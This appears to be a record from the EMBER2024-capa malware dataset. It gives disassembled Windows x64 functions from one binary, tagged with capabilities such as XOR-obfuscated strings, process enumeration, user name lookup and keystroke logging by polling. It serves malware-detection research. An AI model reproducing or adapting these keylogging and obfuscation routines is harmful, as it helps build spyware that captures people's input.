joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400123a0
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
mov qword [rbp + 7], rcx
xor r14d, r14d
mov dword [rbp - 0x21], r14d
mov dword [rbp + 7], r14d
mov rdx, r8
cmp qword [r8 + 0x18], 7
jbe 0x1400123e6
mov rdx, qword [r8]
lea rax, [rbp - 0x21]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 7]
xor r8d, r8d
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xorps xmm0, xmm0
test eax, eax
je 0x14001242d
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
xor r8d, r8d
lea rdx, [0x1400d2a39]
mov rcx, rbx
call fcn.140045100
jmp 0x1400124e8
mov r8d, dword [rbp - 0x21]
shr r8, 1
movups xmmword [rbp - 0x19], xmm0
mov qword [rbp - 9], r14
mov qword [rbp - 1], r14
lea rcx, [rbp - 0x19]
call fcn.140044bc0
nop
lea rax, [rbp - 0x19]
cmp qword [rbp - 1], 7
cmova rax, qword [rbp - 0x19]
cmp qword [rdi + 0x18], 7
jbe 0x140012462
mov rdi, qword [rdi]
lea rcx, [rbp - 0x21]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r9, [rbp + 7]
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x140012505
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r14
mov qword [rbx + 0x18], r14
xor r8d, r8d
lea rdx, [0x1400d2a39]
mov rcx, rbx
call fcn.140045100
nop
mov rdx, qword [rbp - 1]
cmp rdx, 7
jbe 0x1400124e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400124e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400125c6
call fcn.1400bbb20
mov rax, rbx
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400bbb00
add rsp, 0x90
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov rdx, qword [rbp - 9]
mov rcx, qword [rbp - 0x19]
mov r9, qword [rbp - 1]
test rdx, rdx
je 0x14001254f
lea rax, [rbp - 0x19]
cmp r9, 7
cmova rax, rcx
lea r8, [rdx - 1]
cmp word [rax + r8*2], 0
jne 0x14001254f
mov qword [rbp - 9], r8
lea rax, [rbp - 0x19]
cmp r9, 7
cmova rax, rcx
mov word [rax + r8*2], r14w
mov r9, qword [rbp - 1]
mov rdx, qword [rbp - 9]
mov rcx, qword [rbp - 0x19]
lea rax, [rbp - 0x19]
cmp r9, 7
cmova rax, rcx
lea r8, [rax + rdx*2]
lea rdx, [rbp - 0x19]
cmova rdx, rcx
lea r9, [rbp - 0x29]
lea rcx, [rbp + 0xf]
call fcn.140043cb0
movups xmm0, xmmword [rbp + 0xf]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [rbp + 0x1f]
movups xmmword [rbx + 0x10], xmm1
mov rdx, qword [rbp - 1]
cmp rdx, 7
jbe 0x1400124e8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400124e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400124e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140016180
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x160
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rbx, rcx
mov qword [rsp + 0x38], rcx
lea rax, [rsp + 0x40]
xor ecx, ecx
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, Ordinal_32
xor edi, edi
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
test eax, eax
js 0x1400161f4
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], dil
jne 0x1400161e4
lea rdx, [rsp + 0x40]
jmp 0x1400161fe
xor r8d, r8d
lea rdx, [0x1400d2a39]
mov rcx, rbx
call fcn.140045100
mov rax, rbx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1400bbb00
mov rbx, qword [rsp + 0x178]
add rsp, 0x160
pop rdi
ret

Function at 0x140016230
Capabilities:
Get session user name

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x150
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x28], rcx
lea rdx, [rsp + 0x28]
mov rbx, rcx
mov dword [rsp + 0x28], 0x101
lea rcx, [rsp + 0x30]
xor edi, edi
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], rdi
test eax, eax
je 0x1400162a0
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], dil
jne 0x140016290
lea rdx, [rsp + 0x30]
jmp 0x1400162aa
xor r8d, r8d
lea rdx, [0x1400d2a39]
mov rcx, rbx
call fcn.140045100
mov rax, rbx
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.1400bbb00
mov rbx, qword [rsp + 0x168]
add rsp, 0x150
pop rdi
ret
Function at 0x140017970
Capabilities:
Encode data using xor

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
movaps xmmword [rsp + 0x70], xmm6
mov rdi, r8
mov rbx, rdx
mov rsi, rcx
test r9, r9
je 0x140017996
mov rcx, r9
call fcn.1400bbb20
test rdi, rdi
je 0x1400179a4
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rbx, rbx
je 0x1400179b2
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movups xmm0, xmmword [str.3ZUQ___5_c7__j___n___s2_:2ySZ]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [0x1400d6470]
movups xmmword [rsp + 0x50], xmm1
movzx eax, word [0x1400d6480]
mov word [rsp + 0x60], ax
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140017b04
movdqa xmm4, xmmword [0x1400d7300]
movdqa xmm3, xmmword [0x1400d7410]
movdqa xmm5, xmmword [str.7777]
movdqa xmm0, xmmword [0x1400d7420]
movdqa xmmword [rsp + 0x20], xmm0
lea rdx, [rsp + 0x44]
movdqa xmm6, xmmword [0x1400d73f0]
mov r8d, dword [rsp + 0x20]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 4]
xorps xmm2, xmm0
movd dword [rdx - 4], xmm2
lea eax, [rcx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x20
jl 0x140017a20
cmp ecx, 0x22
jge 0x140017b3b
movsxd rax, ecx
lea r8, [rsp + 0x40]
add r8, rax
nop
mov eax, 0x94f2095
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x37
movzx eax, cl
sub al, dl
add al, 0x39
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x22
jl 0x140017b10
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea rax, [rsp + 0x40]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140017b60
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x20]
call fcn.140045100
nop
mov r8d, 0xff
lea rdx, [rsp + 0x20]
mov rcx, rsi
call fcn.14000a6c0
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140017bce
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017bc9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017bc9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400bbb20
xor al, al
movaps xmm6, xmmword [rsp + 0x70]
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
Function at 0x140017fb0
Capabilities:
Encode data using xor
Print debug messages

Disassembly:
sub rsp, 0x68
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [0x1400d4b88]
xor ecx, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
movups xmm3, xmmword [0x1400d4b68]
mov dword [rsp + 0x40], eax
movups xmm0, xmmword [0x1400d4b78]
movzx eax, word [0x1400d4b8c]
movups xmmword [rsp + 0x20], xmm3
mov word [rsp + 0x44], ax
movups xmmword [rsp + 0x30], xmm0
jl 0x1400181aa
movdqa xmm4, xmmword [0x1400d7410]
movdqa xmm2, xmmword [0x1400d7300]
movdqa xmm5, xmmword [str.7777]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x50], xmm6
movdqa xmm6, xmmword [str.99999999]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x1400d7320]
paddw xmm2, xmm6
xorps xmm2, xmm1
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
movdqa xmm1, xmm3
pmuldq xmm0, xmm4
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rsp + 0x20], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
movdqa xmm3, xmmword [0x1400d7340]
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x28]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
paddw xmm2, xmm6
xorps xmm2, xmm0
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
movq qword [rsp + 0x28], xmm2
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
movdqa xmm3, xmmword [0x1400d7360]
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x30]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
paddw xmm2, xmm6
xorps xmm2, xmm0
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
movq qword [rsp + 0x30], xmm2
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
mov ecx, reloc.WS2_32.dll_recv
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rsp + 0x38]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movaps xmm6, xmmword [rsp + 0x50]
xorps xmm2, xmm0
movq qword [rsp + 0x38], xmm2
mov eax, ecx
lea r8, [rsp + 0x20]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
lea r8, [r8 + 2]
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul edx, eax, 0x37
movzx eax, cx
inc ecx
sub ax, dx
add ax, 0x39
xor word [r8 - 2], ax
cmp ecx, 0x13
jl 0x1400181c0
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
setne al
add rsp, 0x68
ret
Function at 0x1400191a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rdi, rcx
xor edx, edx
mov ecx, 2
xor esi, esi
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140019240
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140019240
nop dword [rax]
lea rax, [rsp + 0x4c]
mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x140019224
add rax, 2
test ecx, ecx
jne 0x140019210
test edx, edx
je 0x14001923c
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140019200
jmp 0x140019240
mov esi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.1400bbb00
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140034790
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rsi, qword [0x1400ecf80]
mov ecx, Ordinal_41
call fcn.1400bbb28
mov rdi, rax
mov qword [rbp + 0x17], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_std::promise_bool__.0
mov qword [rdi], rax
lea rbx, [rdi + 0x10]
mov rcx, rbx
call fcn.140051890
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x37], xmm0
mov qword [rbp + 0x37], rbx
mov qword [rbp + 0x3f], rdi
movups xmmword [rbp + 0x27], xmm0
mov rax, qword [rbx]
test rax, rax
je 0x140034999
cmp byte [rbx + 8], 0
je 0x14003482f
cmp byte [rax + 0xb8], 0
jne 0x140034999
cmp byte [rbx + 0x10], 0
jne 0x14003498e
mov byte [rbx + 0x10], 1
mov qword [rbp + 0x27], rax
mov byte [rbp + 0x2f], 1
lock inc dword [rax + 8]
mov qword [rbp - 9], rsi
lock inc dword [rdi + 8]
mov rbx, qword [rbp + 0x37]
mov qword [rbp - 1], rbx
mov qword [rbp + 7], rdi
mov ecx, Ordinal_27
call fcn.1400bbb28
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 1], xmm0
mov qword [rbp + 0x17], rax
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x14004e660]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x19], rax
test rax, rax
je 0x14003497b
cmp dword [rbp - 0x11], 0
je 0x14003496f
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp + 0x17], xmm0
lea rcx, [rbp + 0x17]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14003496f
xorps xmm0, xmm0
movaps xmmword [rbp + 0x37], xmm0
movdqa xmmword [rbp - 0x19], xmm0
mov ebx, 0xffffffff
mov rcx, qword [rbp + 0x27]
test rcx, rcx
je 0x140034923
mov eax, ebx
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140034923
mov rcx, qword [rbp + 0x27]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140034918
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140034923
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x14003494a
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], ebx
cmp ebx, 1
jne 0x14003494a
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400bbb00
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x11], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 2
call fcn.140002ee0
int3
mov ecx, 4
call fcn.140002ee0
int3
Function at 0x1400349b0
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x70
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov r14, rcx
mov qword [rsp + 0x28], rcx
mov eax, 1
xchg byte [0x1400ecb38], al
xor dil, dil
movzx eax, byte [0x1400ecb3b]
xor esi, esi
test al, al
jne 0x140034ace
nop dword [rax + rax]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, reloc.WS2_32.dll_recvfrom
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
shr ebx, 0xf
mov ecx, reloc.WS2_32.dll_WSASetLastError
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
and bl, 1
je 0x140034a47
test al, al
je 0x140034a47
test dil, dil
sete dil
mov ecx, Ordinal_301
call qword [sym.imp.KERNEL32.dll_Sleep]
test dil, dil
je 0x140034abf
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x34], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x44], 2
mov r8d, Ordinal_41
lea rdx, [rsp + 0x30]
mov ecx, 1
call qword [sym.imp.USER32.dll_SendInput]
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x34], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x48], xmm1
mov dword [rsp + 0x30], esi
mov dword [rsp + 0x44], 4
mov r8d, Ordinal_41
lea rdx, [rsp + 0x30]
mov ecx, 1
call qword [sym.imp.USER32.dll_SendInput]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
movzx eax, byte [0x1400ecb3b]
test al, al
je 0x140034a00
mov byte [rsp + 0x20], 1
xchg byte [0x1400ecb38], sil
lea rdx, [rsp + 0x20]
mov rcx, qword [r14 + 8]
call fcn.14003db00
nop
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400bbb00
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140034b20
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rsi, qword [0x1400ecf80]
mov ecx, Ordinal_41
call fcn.1400bbb28
mov rdi, rax
mov qword [rbp + 0x17], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_std::promise_bool__.0
mov qword [rdi], rax
lea rbx, [rdi + 0x10]
mov rcx, rbx
call fcn.140051890
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x37], xmm0
mov qword [rbp + 0x37], rbx
mov qword [rbp + 0x3f], rdi
movups xmmword [rbp + 0x27], xmm0
mov rax, qword [rbx]
test rax, rax
je 0x140034d29
cmp byte [rbx + 8], 0
je 0x140034bbf
cmp byte [rax + 0xb8], 0
jne 0x140034d29
cmp byte [rbx + 0x10], 0
jne 0x140034d1e
mov byte [rbx + 0x10], 1
mov qword [rbp + 0x27], rax
mov byte [rbp + 0x2f], 1
lock inc dword [rax + 8]
mov qword [rbp - 9], rsi
lock inc dword [rdi + 8]
mov rbx, qword [rbp + 0x37]
mov qword [rbp - 1], rbx
mov qword [rbp + 7], rdi
mov ecx, Ordinal_27
call fcn.1400bbb28
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 1], xmm0
mov qword [rbp + 0x17], rax
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x14004e6e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x19], rax
test rax, rax
je 0x140034d0b
cmp dword [rbp - 0x11], 0
je 0x140034cff
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp + 0x17], xmm0
lea rcx, [rbp + 0x17]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140034cff
xorps xmm0, xmm0
movaps xmmword [rbp + 0x37], xmm0
movdqa xmmword [rbp - 0x19], xmm0
mov ebx, 0xffffffff
mov rcx, qword [rbp + 0x27]
test rcx, rcx
je 0x140034cb3
mov eax, ebx
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140034cb3
mov rcx, qword [rbp + 0x27]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140034ca8
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140034cb3
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140034cda
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], ebx
cmp ebx, 1
jne 0x140034cda
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400bbb00
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x11], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 2
call fcn.140002ee0
int3
mov ecx, 4
call fcn.140002ee0
int3
Function at 0x140034d90
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1400eb0c0]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov rsi, qword [0x1400ecf80]
mov ecx, Ordinal_41
call fcn.1400bbb28
mov rdi, rax
mov qword [rbp + 0x17], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], 1
mov dword [rax + 0xc], 1
lea rax, vtable.std::_Ref_count_obj2_class_std::promise_bool__.0
mov qword [rdi], rax
lea rbx, [rdi + 0x10]
mov rcx, rbx
call fcn.140051890
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x37], xmm0
mov qword [rbp + 0x37], rbx
mov qword [rbp + 0x3f], rdi
movups xmmword [rbp + 0x27], xmm0
mov rax, qword [rbx]
test rax, rax
je 0x140034f99
cmp byte [rbx + 8], 0
je 0x140034e2f
cmp byte [rax + 0xb8], 0
jne 0x140034f99
cmp byte [rbx + 0x10], 0
jne 0x140034f8e
mov byte [rbx + 0x10], 1
mov qword [rbp + 0x27], rax
mov byte [rbp + 0x2f], 1
lock inc dword [rax + 8]
mov qword [rbp - 9], rsi
lock inc dword [rdi + 8]
mov rbx, qword [rbp + 0x37]
mov qword [rbp - 1], rbx
mov qword [rbp + 7], rdi
mov ecx, Ordinal_27
call fcn.1400bbb28
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
xorps xmm0, xmm0
movdqu xmmword [rbp - 1], xmm0
mov qword [rbp + 0x17], rax
lea rcx, [rbp - 0x11]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x14004e760]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x19], rax
test rax, rax
je 0x140034f7b
cmp dword [rbp - 0x11], 0
je 0x140034f6f
movaps xmm0, xmmword [rbp - 0x19]
movdqa xmmword [rbp + 0x17], xmm0
lea rcx, [rbp + 0x17]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x140034f6f
xorps xmm0, xmm0
movaps xmmword [rbp + 0x37], xmm0
movdqa xmmword [rbp - 0x19], xmm0
mov ebx, 0xffffffff
mov rcx, qword [rbp + 0x27]
test rcx, rcx
je 0x140034f23
mov eax, ebx
lock xadd dword [rcx + 8], eax
cmp eax, 1
jne 0x140034f23
mov rcx, qword [rbp + 0x27]
mov r8, qword [rcx + 0xc8]
test r8, r8
je 0x140034f18
mov rax, qword [r8]
mov rdx, rcx
mov rcx, r8
call qword [rax]
jmp 0x140034f23
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
nop
mov eax, ebx
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140034f4a
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax]
lock xadd dword [rdi + 0xc], ebx
cmp ebx, 1
jne 0x140034f4a
mov rax, qword [rdi]
mov rcx, rdi
call qword [rax + reloc.WS2_32.dll_htonl]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.1400bbb00
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rbp - 0x11], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, 2
call fcn.140002ee0
int3
mov ecx, 4
call fcn.140002ee0
int3